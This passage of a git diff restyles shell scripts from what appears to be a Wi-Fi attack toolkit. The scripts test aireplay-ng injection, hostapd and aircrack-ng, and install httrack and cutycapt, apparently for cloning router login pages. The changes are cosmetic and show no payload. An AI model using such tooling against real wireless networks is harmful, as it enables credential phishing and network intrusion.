"$1"; then echo "Device: $InterfacePhysical" else echo "Device: Unknown" fi -if interface_driver "$1" -then echo "Driver: $InterfaceDriver" +if interface_driver "$1"; then echo "Driver: $InterfaceDriver" else echo "Driver: Unsupported" fi -if interface_chipset "$1" -then echo "Chipset: $InterfaceChipset" +if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset" else echo "Chipset: Unknown" fi @@ -44,18 +40,17 @@ aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo echo -ne "\n\n" echo "[ XTerm Info ]" -echo "Version: `xterm -version`" -echo "Path: `ls -L $(which xterm)`" +echo "Version: $(xterm -version)" +echo "Path: $(ls -L $(which xterm))" echo -n "Test: " -if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &> /dev/null - then echo "XServer/XTerm success!" - else echo "XServer/XTerm failure!" +if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!" +else echo "XServer/XTerm failure!" fi echo -ne "\n\n" echo "[ HostAPD Info ]" hostapd -v -echo "Path: `ls -L $(which hostapd)`" +echo "Path: $(ls -L $(which hostapd))" echo -ne "\n\n" echo "[ Aircrack-ng Info ]" @@ -63,7 +58,6 @@ aircrack-ng -H | head -n 4 echo -ne "\n\n" echo "[ System Info ]" -if [ -r "/proc/version" ] -then cat /proc/version +if [ -r "/proc/version" ]; then cat /proc/version else uname -r fi diff --git a/scripts/router.sh b/scripts/router.sh index 9147bdd..0489105 100755 --- a/scripts/router.sh +++ b/scripts/router.sh @@ -2,7 +2,7 @@ ##################################### < CONFIGURATION > ##################################### -gateway=`ip route | grep default | awk '{print $3}'` +gateway=$(ip route | grep default | awk '{print $3}') #Colors white="\033[1;37m" @@ -21,41 +21,41 @@ echo "[i] Prepare dep." # Check which package manager is installed echo "Package Manager" if hash pacman 2>/dev/null; then - PACK="pacman -S" + PACK="pacman -S" else - if hash apt-get 2>/dev/null; then - PACK="apt-get install" - else - if hash yum 2>/dev/null; then - PACK="yum install" - fi + if hash apt-get 2>/dev/null; then + PACK="apt-get install" + else + if hash yum 2>/dev/null; then + PACK="yum install" fi + fi fi sleep 0.025 echo "=================================================================================" echo -ne "Httrack........." if ! hash httrack 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - $PACK httrack + echo -e "\e[1;31mNot installed"$transparent"" + $PACK httrack else - echo -e "\e[1;32mOK!"$transparent"" + echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo "=================================================================================" echo -ne "cutycapt........" if ! hash httrack 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - $PACK cutycapt + echo -e "\e[1;31mNot installed"$transparent"" + $PACK cutycapt else - echo -e "\e[1;32mOK!"$transparent"" + echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo "=================================================================================" -if [ ! -d sites ];then - mkdir sites +if [ ! -d sites ]; then + mkdir sites fi #############################################################################################